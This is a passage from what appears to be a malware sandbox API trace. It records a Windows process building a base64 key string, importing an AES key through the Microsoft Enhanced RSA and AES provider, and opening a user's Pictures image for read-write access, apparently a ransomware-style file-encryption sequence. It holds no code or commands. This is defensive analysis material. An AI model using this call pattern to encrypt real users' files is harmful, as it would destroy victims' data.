(param_1="NDZlODRmYzNlYTJh") returned 0x10 [0245.421] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.421] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0245.422] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0245.422] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0245.422] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0245.422] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.422] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0245.422] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.422] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0245.422] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0245.422] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.422] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0245.422] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.423] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0245.423] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0245.423] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.423] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0245.423] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.423] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0245.423] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0245.423] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.423] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0245.423] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.423] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0245.423] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0245.424] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.424] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0245.424] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.424] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0245.424] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0245.424] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.424] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0245.424] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.424] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0245.424] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0245.424] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.424] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0245.425] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.425] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0245.425] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0245.425] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.425] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0245.425] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.425] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0245.425] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0245.425] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0245.426] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0245.426] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.426] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0245.426] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.426] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0245.426] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0245.426] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.426] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0245.426] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.426] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0245.426] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0245.426] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.427] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0245.427] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.427] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0245.427] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0245.427] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.427] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0245.427] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.427] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0245.427] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0245.427] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.427] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0245.427] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.428] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0245.428] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0245.428] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.428] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0245.428] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.428] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0245.428] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0245.428] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.428] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0245.428] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.428] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0245.428] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0245.428] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.429] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0245.429] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.429] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0245.429] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0245.429] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0245.429] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0245.429] SystemFunction041 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.429] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0245.430] SystemFunction040 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.430] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0245.430] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0245.430] SystemFunction041 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.430] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0245.430] SystemFunction040 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.430] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0245.430] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0245.430] SystemFunction041 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.430] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0245.430] SystemFunction040 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.430] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0245.431] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0245.431] SystemFunction041 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.431] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0245.431] SystemFunction040 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.431] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0245.431] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0245.431] SystemFunction041 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.431] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0245.431] SystemFunction040 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.431] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0245.431] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0245.431] SystemFunction041 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.432] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0245.432] SystemFunction040 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.432] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0245.432] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0245.432] SystemFunction041 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.432] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0245.432] SystemFunction040 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.432] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0245.432] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0245.432] SystemFunction041 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.433] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0245.433] SystemFunction040 (in: Memory=0x5c9b73c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b73c) returned 0x0 [0245.433] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0245.433] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0245.433] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0245.433] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0245.433] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0245.434] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0245.434] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0245.434] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0245.434] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0245.434] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0245.434] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0245.434] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0245.434] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0245.434] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0245.434] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0245.434] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0245.434] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0245.435] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0245.435] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0245.435] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0245.435] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0245.435] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0245.435] EtwEventActivityIdControl () returned 0x0 [0245.435] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0245.435] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0245.435] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0245.435] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0245.437] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d320) returned 1 [0245.439] CryptImportKey (in: hProv=0x5c4d320, pbData=0x242fb60*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c995a0) returned 1 [0245.439] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0245.440] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.440] EtwEventActivityIdControl () returned 0x0 [0245.440] EtwEventActivityIdControl () returned 0x0 [0245.440] EtwEventActivityIdControl () returned 0x0 [0245.446] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\-yqu7r.jpg")) returned 0x20 [0245.447] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\-yqu7r.jpg")) returned 0x20 [0245.447] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0245.447] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg", lpFilePart=0x0) returned 0x26 [0245.448] EtwEventActivityIdControl () returned 0x0 [0245.448] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.448] EtwEventActivityIdControl () returned 0x0 [0245.448] EtwEventActivityIdControl () returned 0x0 [0245.448] EtwEventActivityIdControl () returned 0x0 [0245.450] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0245.450] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg", lpFilePart=0x0) returned 0x26 [0245.450] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0245.450] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-yqu7r.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\-yqu7r.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c4 [0245.450] GetFileType (hFile=0x3c4) returned 0x1 [0245.450] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0245.450] GetFileType (hFile=0x3c4) returned 0x1 [0245.450] EtwEventActivityIdControl () returned 0x0 [0245.451] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.451] EtwEventActivityIdControl () returned 0x0 [0245.451] EtwEventActivityIdControl () returned 0x0 [0245.451] EtwEventActivityIdControl () returned 0x0 [0245.452] GetFullPathNameW (in: 